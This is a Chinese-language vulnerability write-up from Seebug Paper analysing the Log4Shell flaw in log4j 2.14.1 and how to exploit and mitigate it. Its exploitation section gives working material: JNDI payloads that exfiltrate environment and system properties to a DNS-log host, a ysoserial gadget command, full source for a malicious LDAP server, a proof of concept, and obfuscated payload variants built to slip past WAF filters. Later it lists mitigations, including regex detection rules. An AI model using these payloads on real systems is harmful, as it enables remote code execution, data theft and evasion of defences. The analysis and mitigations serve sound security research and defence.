作者:lxraa
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
一、漏洞分析
調試版本:2.14.1
1、漏洞觸發點:
org.apache.logging.log4j.core.net.JndiManager:172

調用棧:

熟悉的lookup,因此log4shell如果要命令執行,需要利用jndi觸發的反序列化漏洞,并不是單純的rce,等價于:
// name可控
String name = "ldap://127.0.0.1:1333/#Exploit";
Context ctx = new InitialContext();
ctx.lookup(name);
2、代碼分析
關鍵函數1:
org\apache\logging\log4j\core\lookup\StrSubstitutor.substitute
函數流程如下:
- 找到String中的${},將里面的變量拿出來解析

其中prefixMatcher是一個StringMatcher繼承自虛類StrMatcher,用來匹配字符串,后面多處用到,他的關鍵函數定義及作用是
/**
看buffer的pos處是否為指定字符串(初始化時指定,如prefixMatcher的指定字符串為"${"),如果是則返回字符串長度,否則返回0;
**/
public abstract int isMatch(char[] buffer, int pos, int bufferStart, int bufferEnd);
- 987行到1029行會對
:-和:\-進行處理,與漏洞主要邏輯無關,但該處可以用來繞過waf,詳見漏洞利用

- 1033行調用resolveVariable解析${}里弄出來的變量
關鍵函數2:
org\apache\logging\log4j\core\lookup\StrSubstitutor.resolveVariable
這個函數獲取StrLookup對${}里的變量進行解析,StrLookup是個接口,Interpolator類間接實現了StrLookup:
public class Interpolator extends AbstractConfigurationAwareLookup ...
public abstract class AbstractConfigurationAwareLookup extends AbstractLookup implements ConfigurationAware ...
public abstract class AbstractLookup implements StrLookup ...
它的lookup方法通過:前的PREFIX,從Interpolator的一個私有hashmap里決定分配給哪個具體的Lookup處理變量,所有支持的PREFIX有:

對應所有接口的實現在org\apache\logging\log4j\core\lookup\包:

- 各StrLookup接口實現功能分析:
關鍵函數是lookup(final LogEvent event,final String key);
date:格式化時間:

java:輸出本地java語言相關信息:

marker:從event的marker中獲取信息,暫不清楚做什么用

ctx:從event的contextData(一個map)中取value

lower:取小寫
upper:取大寫
jndi:等價與
// name可控
String name = "xxx";
Context ctx = new InitialContext();
ctx.lookup(name);
main:從內存某個map里獲取value

jvmrunargs:本意好像是從jvm參數中獲取參數,調試中發現初始化的map和strLookupMap中的map不是同一個,原因未知



sys:等價于System.getProperty(xxx)

env:等價于System.env獲取環境變量,可以如下圖所示列出本地所有的環境變量

log4j:支持configLocation和configParentLocation兩個key,當存在log4j2.xml配置文件時,可以獲取該文件的絕對路徑,和上級文件夾的絕對路徑


二、漏洞利用
1、漏洞探測
常規方法,可以利用dns log探測漏洞是否存在,例:利用ceye探測漏洞是否存在:
logger.error("${jndi:ldap://****.ceye.io/}");
2、信息收集
利用sys、env等lookup+dnslog,進行利用環境的信息收集(由于域名中不能存在某些特殊字符,因此不是所有的環境變量都可以利用dnslog帶出來),以下是部分windows下利用的payload:
logger.error("${jndi:ldap://${env:OS}.vwva2y.ceye.io/}"); //系統版本
logger.error("${jndi:ldap://${env:USERNAME}.vwva2y.ceye.io/}");//用戶名
logger.error("${jndi:ldap://${sys:java.version}.vwva2y.ceye.io/}");//java版本,這個比較關鍵,因為jndi注入的payload高度依賴于java版本
logger.error("${jndi:ldap://${sys:os.version}.vwva2y.ceye.io/}");//系統版本
logger.error("${jndi:ldap://${sys:user.timezone}.vwva2y.ceye.io/}");//時區
logger.error("${jndi:ldap://${sys:file.encoding}.vwva2y.ceye.io/}");//文件編碼
logger.error("${jndi:ldap://${sys:sun.cpu.endian}.vwva2y.ceye.io/}");//cpu大端or小端
logger.error("${jndi:ldap://${sys:sun.desktop}.vwva2y.ceye.io/}");//系統版本
logger.error("${jndi:ldap://${sys:sun.cpu.isalist}.vwva2y.ceye.io/}");//cpu指令集
3、RCE
log4shell的RCE基本等于jndi注入,log4shell可以探測jdk版本,可以根據實際環境選擇適當的方法進行rce。jndi注入的利用姿勢可以參考:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
以下以1.8.0_261版本下的rce為例:
由于8u191+的jdk不再信任遠程加載的類,本例使用ldap entry的javaSerializedData屬性的反序列化觸發本地的Gadget,利用條件是工程有commons-collections依賴,版本需 <=3.2.1(ysoserial說需小于3.1,實測3.2.1及以下均可使用)
- 使用ysoserial生成base64 payload(使用windows的同學注意powershell生成可能會有問題,請使用cmd生成)
java -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "calc" |base64 > pp.txt
- 構造惡意LDAP服務器,參考了marshalsec
package com.lxraa.test.jndi;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.twitter.chill.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
int port = 1333;
String url = "http://127.0.0.1:3000/#Exploit";
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "th3wind");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
byte[] bytes2 = Base64.decode("**************");
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
e.addAttribute("javaSerializedData", bytes2);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
- poc:
logger.error("${jndi:ldap://127.0.0.1:1333/#Exploit}");

4、payload變形
- 利用本身的lookup
${lower:J}
logger.error("${${lower:J}ndi:ldap://127.0.0.1:1333/#Exploit}");
- 利用substitute的解析問題,前文提到關鍵代碼在987行到1029行

總結一下就是截取:-后面的部分,如果存在多個:-則以第一個為準,例如:
func("asdasdasdasd:-x") = "x";
func("asdasdasdasd:-asdasdasd:-x") = "asdasdasd:-x"
如果lookup返回null,則把該${}塊替換為這樣處理后的字符串,因此可以構造payload:
logger.error("${${anychars:-j}ndi:ldap://127.0.0.1:1333/#Exploit}");
logger.error("${${anychars:-j}ndi${anychars:-:}ldap://127.0.0.1:1333/#Exploit}"); //特殊字符也可替換
三、修復建議
1、waf(緩解措施,不能保證過濾全部攻擊包
*僅提供思路,不保證正則性能,請根據實際生產情況優化
過濾思路:
①如果不存在\$\{(.*):-(.*)\},則攻擊包中必存在連續關鍵字,直接過濾所有log4j2支持的lookup:
${date:
${java:
${marker:
${ctx:
${lower:
${upper:
${jndi:
${main:
${jvmrunargs:
${sys:
${env:
${log4j:
② 如果存在\$\{(.*):-(.*)\},則文中可能不存在連續關鍵字,如${${xxxxx:-l}ower:}
,但是log4j2語法只支持大小寫轉換,不會有編碼及替換,因此關鍵字詞序不變,且最多存在大小寫混淆,可使用:
// 其他lookup同理
\$(.*?)\{(.*?)[jJ](.*?)[nN](.*?)[dD](.*?)[iI](.*?):
2、網絡層控制(緩解措施
禁止非必須出向流量
3、升級JDK(緩解措施
高版本JDK的jndi注入利用難度相對較大
4、排除非必須反序列化Gadget(緩解措施
參照ysoserial說明文檔
Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
5、配置關閉lookup功能(緩解措施
-
修改 jvm 參數 -Dlog4j2.formatMsgNoLookups=true
-
修改配置 log4j2.formatMsgNoLookups=True
注意:2.10以前版本修改jvm參數無效的
6、升級log4j2版本到2.16.0+
注意依賴包里可能存在有漏洞的log4j-api和log4j-core,需一并排查


參考文章:
https://mp.weixin.qq.com/s/Yq9k1eBquz3mM1sCinneiA
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1788/
暫無評論